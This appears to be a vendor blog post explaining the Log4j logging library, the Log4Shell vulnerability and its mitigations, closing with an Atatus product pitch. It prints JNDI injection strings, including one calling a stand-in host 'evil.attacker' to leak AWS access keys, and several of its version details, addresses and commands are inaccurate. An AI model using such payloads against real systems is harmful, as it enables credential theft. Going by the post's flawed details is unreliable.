Log4Shell and Log4j - Where it all went Wrong?

On 10th December 2021, Apache foundation admitted the Log4Shell vulnerability of its Log4j 2.16 version. Chen Zhao Jun was an Alibaba cloud services security analyst who first found out about this security threat and consequently reported it to the foundation.

Upon further investigation, they identified that the vulnerability had existed since 2013.

Unfortunately, by then all the corporations, big and small were affected by this malicious security breach. Minecraft, Amazon web services, Apple iCloud, Cloudflare and Tencent QQ were a few of the biggies that got trapped in this botnet.

Even Ghidra, the reverse engineering tool developed by NSA was found to have fallen into this trap.

• What is a logging library?
• What is Log4j in Java?
• Log4j Usage
• Vulnerabilities identified in Log4j
• How does Log4j attack works?
• What is the problem with Log4j?
• How can hackers take advantage of this?
  1. Allows you to log expressions
  2. DOS - Denial Of Service attacks
  3. JNDI lookups for log messages
  4. RCE - Remote Code Execution
• How to fix the log4j vulnerability problem?
• Is open-source to be blamed?

What is a Logging Library?

Logging is the process of keeping track of all the events on a system or software. Imagine you're a developer and you've made a new web application and published it on the internet. Now, you want to know the traffic on the app, the specific function that users have most used, debugging fixes etc. In such instances, it is advised you encode a logger in your application. Because this logger keeps tabs on all these functions. It basically makes it easier for you to go back to your code and see what has gone wrong.

Java logging is so ubiquitous that almost all the enterprises using Java use either Log4j, SLF4j or Log4j 2. These are the premier logging libraries designed by Apache.

What is Log4j in Java?

Log4j is a popular Java logging library and it can be used during Java development. This library gives us information about all the steps taken during execution of a request. Installing Log4j can help us tackle blocks that arise as part of mistakes during code execution. When we have to use Log4j as the logging library in Java, follow these steps:

• Download latest Log4j distribution.
• Add Log4j’s jar library into your program’s classpath.
• Create Log4j’s configuration.
• Initialize Log4j with the configuration.
• Create a logger.          
• Put logging statements into your code.

Log4j Usage

Log4j has been widely used in all the applications running on a Java. Let's learn how to use Log4j for logging in a Java program.

We use BasicConfigurator for Log4j configurations in the below given example. BasicConfigurator use ConsoleAppender and PatternLayout for all loggers.

import org.apache.log4j.BasicConfigurator;
import org.apache.log4j.Logger;

public class Log4jTest {
	// Get the Logger object.
	private static Logger log = Logger.getLogger(Log4jTest.class);
    
	public static void main(String[] args) {
		BasicConfigurator.configure();
        
		//logger messages
		log.debug("Log4j debug message test.");
		log.info("Log4j info message test.");
	}
}

The above program produces the following output:

Output:

0 [main] DEBUG Log4jTest 
 - Log4j debug message test.
1 [main] INFO Log4jTest
 - Log4j info message test.

Log4j Example using log4j.properties file

In this example we have used the log4j.properties file for Log4j configurations. It stores properties in key-value pairs, which are stored in the log4j.properties file.

All log4j runtime configuration is contained in the log4j properties file. Information about log4j appenders, log levels, and output file names will be contained in this file.

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class Log4jExample {

   /* Get actual class name to be printed on */
   static Logger log = Logger.getLogger(Log4jExample.class.getName());
   
   public static void main(String[] args) {
      log.debug("This is a debug message");
      log.info("This is an info message");
   }
}

Set path and classpath appropriately before running the program.

Create a Log4j.properties file and put it into the resources folder. Add the following code to it.

log4j.properties Syntax:

# define the root logger with appender X
log4j.rootLogger = DEBUG, X

# set the appender named X to be a File appender
log4j.appender.X=org.apache.log4j.FileAppender

# define the layout for X appender
log4j.appender.X.layout=org.apache.log4j.PatternLayout
log4j.appender.X.layout.conversionPattern=%m%n

log4j.properties File:

# define the root logger with appender file
log = /var/log/myapp
log4j.rootLogger = DEBUG, FILE

# define the file appender
log4j.appender.FILE=org.apache.log4j.FileAppender
log4j.appender.FILE.File=${log}/log.out

# define the layout for file appender
log4j.appender.FILE.layout=org.apache.log4j.PatternLayout
log4j.appender.FILE.layout.conversionPattern = %m%n 

%m%n in the below line of code defines the message to log and line break

log4j.appender.FILE.layout.conversionPattern = %m%n

The appender FILE is defined as org.apache.log4j.FileAppender and writes to a file named log.out located in the log directory.

Compile and execute:

You would get the following result inside /var/log/myapp/log.out file:

Output:

This is a debug message
This is an info message

Vulnerabilities identified in Log4j

On Dec 9, 2021, a zero-day vulnerability called Log4Shell was identified in Log4j(version 2.16.0). This made the users of all the previous versions like Log4j 2.16.0 or below vulnerable to hacking attacks. It was later renamed CVE-2021-44228 by NVD.

Tenable quotes Log4Shell vulnerability as "The single biggest, most critical vulnerability ever".

While hackers try to exploit vulnerable systems, there is always a set of security defenders, racking their brains to mitigate all these security threats. Let's look at how they’ve fared up until now.

How does Log4j attack works?

Usually, Log4j logs in the request and returns with the required value. But during an attack, the hacker inserts a JNDI lookup in the header file of the HTTP request that is most likely to be used.

This string gets passed onto Log4j. Log4j resolves the string thinking it is a JNDI , this allows the LDAP server to return directory that has a malicious Java class. Now Java executes this class thereby infiltrating your system.

What is the problem with Log4j?

Apache Log4j is a java based logging library. It was one of the first versions released by the Apache software foundation. It records daily activities on your computers - like running errors and routine system operations and communicates them to the system administrators.

Apache ranks Log4j with a CVSS (Common vulnerability scoring system) score of 10 which makes it highly critical according to the CVE (Common vulnerabilities and exposures) glossary.

The problem is because of dependencies. Even if you are not directly using Log4j you may be using another application that has dependencies for Log4j. So patching up after a mishap becomes a huge problem. Because some of them don't even know that they’ve been affected by this Log4Shell vulnerability.

Now you might be thinking, What if you had never installed a Log4j on your program? How would you be affected then? Now here’s the catch!

Almost more than 60% of all the applications running on java are dependent on Log4j indirectly if not directly.

This means, you might not have run a Log4j for your application but some extension that you are using would have used Log4j and thus puts even your program into the vulnerability.

For example, the 404 error pops up on your screen when you try to access a webpage that is no longer available on the internet, or a warning or debugging messages are all such strings in Java that can become threats if accessed by hackers.

How can hackers take advantage of this?

What makes it easy for attackers to exfiltrate your programs? What are the checkpoints you need to be aware of to avoid being a victim of such cyberattack.

1. Allows you to log expressions

Logger - Logger is the main class that we use in any application to create log events.
For example, you command the following for producing an error message,

Logger logger = Logger.getLogger(...);
logger.error("Error message : {}", error.getMessage());

You can enter 404 or any number into the string to get the desired output. if you put the error object inside the string and run, You will get an error message on your webpage.

Nefarious people might get ideas of including some baleful code inside that string. So the user gets exposed to that.

But to be honest, this is not the main harm, the real problem comes with JNDI.

2. JNDI lookups for log messages

JNDI refers to Java naming and directory interface. It allows you to keep your serialized java objects in a remote location.

Serialization refers to keeping the data in a particular format that makes it easy for transferring via the network.

JNDI was so much in use before the rest-API came into the picture. Given below is an active directory link in LDAP (only for example)

LDAP URL
ldap://191.343.1.44:8000/0=melinda, C=US

So, let's say you’ve kept the address/profile of the loggers on a separate database. They would be maintained as a part of the directory.

JNDI is a recursive request, meaning it can repeat the same function indefinitely.

3. DOS - Denial Of Service attacks

This feature allows you to serialize/categorize java data in JNDI. So when you enter an argument you enter this JNDI value in place of the string. Now, problem is that it is not a single value, Log4j recognizes it as a JNDI string and starts looking up the directory that you requested. and the problem lies here, instead of getting a single value you get access to the entire directory.

Logger logger = Logger.getLogger(...);
logger.error("{}:Error{}", "${jndi:ldap://logconfig/prefix}", error.getMessage());

This process becomes extremely dangerous when attackers can breach your system security and install a malicious object via a JNDI lookup that you looked up. It may lead to denial-of-service (DOS) attacks. If the server that they breach is of a big enterprise like Amazon which houses data profiles of thousands of people, the hacker will be able to access all of those data.

4. RCE - Remote Code Execution

Apache credited Log4j 2 with a score of 10. It relates to RCE i.e., remote code execution, which means that now the hackers will be able to run any code on your system without you knowing about it. For example, they may encode some malicious file into your program or leak sensitive information.

If you pass an argument as a string instead,

logger.error("Looks up value and inserts {}", "${jndi:ldap://logconfig/prefix}");

Log4j identifies the JNDI string and tries to resolve it. Now the request is sent to the server with a malicious object. It returns the malicious code to the administrators/user's system.

All this happens because it is not opaquely visible to the developer. He may not know of it until he has gone through the entire software inventory since Log4Shell snitches itself into other software cleverly before being installed.

How to fix the Log4j vulnerability issue?

We suggest you look into these points to ensure the security of your application.

i.) Upgrade to the newest version of Log4j immediately - Developers have resolved the vulnerabilities in log4j 2.16 and released a new version 2.17.1. So update your systems to this latest version soon.

ii.) Set the properties right - The problem comes with environment variables lookup.

${jndi:ldap//evil.attacker:1234/${env: AWS_ACCESS_KEY_ID/}${env: AWS_SECRET_ACCESS_KEY}}

To counter this, set the following command to true:

LOG4J_FORMAT_MSG_NO_LOOKUPS

iii.) Disable JNDI feature - code injection masks logger into believing that JNDI is a part of the string command which then goes on to resolve and execute it. When you disable the JNDI lookup class, the logger won't be able to retrieve data from the log.
Remove the jndilookupclass from the classpath this way,

zip -q -d log4j-core- *.jar org /apache/logging /log4j /core/lookup /JndiLookup.class

iv.) Turn trustURLCodebase to false - You are asking the JVM if to trust these URLs or not. This allows java to block any code coming from an external URL.

com.sun.jndi.ldap.object.trustURLCodebase

v.) Patch the class directly - this could prevent LDAP and RMI traffic from attempting to reach malicious LDAP servers.

vi.) Lookout for Apache Log4j questionnaire - apache regularly updates their safety check quiz on their platform. Be sure to check out them to prevent security issues.

vii.) Do not compromise on security - Have regular security check-ups for your application.

Refer to this post by the Cybersecurity and Infrastructure Security Agency (CISA) for additional information on Log4Shell preventive measures.

Is open-source to be blamed?

The purpose of open source is transparency. Anyone can check the code. Now, this is a very good feature and allows public participation in maintaining the application running, but there are some serious consequences it faces like,

• Code is out there in the public, and so are vulnerabilities.
• Lack of legal obligations for security
• Lack of regulation on content

Open source has always been a potluck for hackers. Increasing the liability of security on public data is of umpteen importance.

On a futuristic note, create comprehensive policies to protect open-source platforms from falling prey to such vile acts.

Conclusion

In summary, Log4j was introduced by the Apache Software Foundation to replace a Java logging package called logkit. Log4j is a popular logging library for Java used by many major software projects (including the Apache Hadoop project).

It is most commonly used for the purpose of logging application errors and debug messages. Although the user can use any logging library, it is always recommended to use the one which is used in the project.

This will ensure that there is uniformity in the logging statements generated and will help in debugging the application.

Atatus Logs and Java Monitoring

Atatus offers a Logs Monitoring solution which is delivered as a fully managed cloud service with minimal setup at any scale that requires no maintenance. It monitors logs from all of your systems and applications into a centralized and easy-to-navigate user interface, allowing you to troubleshoot faster.

We give a cost-effective, scalable method to centralized logging, so you can obtain total insight across your complex architecture. To cut through the noise and focus on the key events that matter, you can search the logs by hostname, service, source, messages, and more. When you can correlate log events with APM slow traces and errors, troubleshooting becomes easy.

With logs monitoring you can also automatically discover Java errors and issues with the help of the Java application monitoring tool. Monitor, optimize and visualize the Java application performance with in-depth Java APM metrics and resolve the issues as soon as possible.

Try your 14-day free trial of Atatus.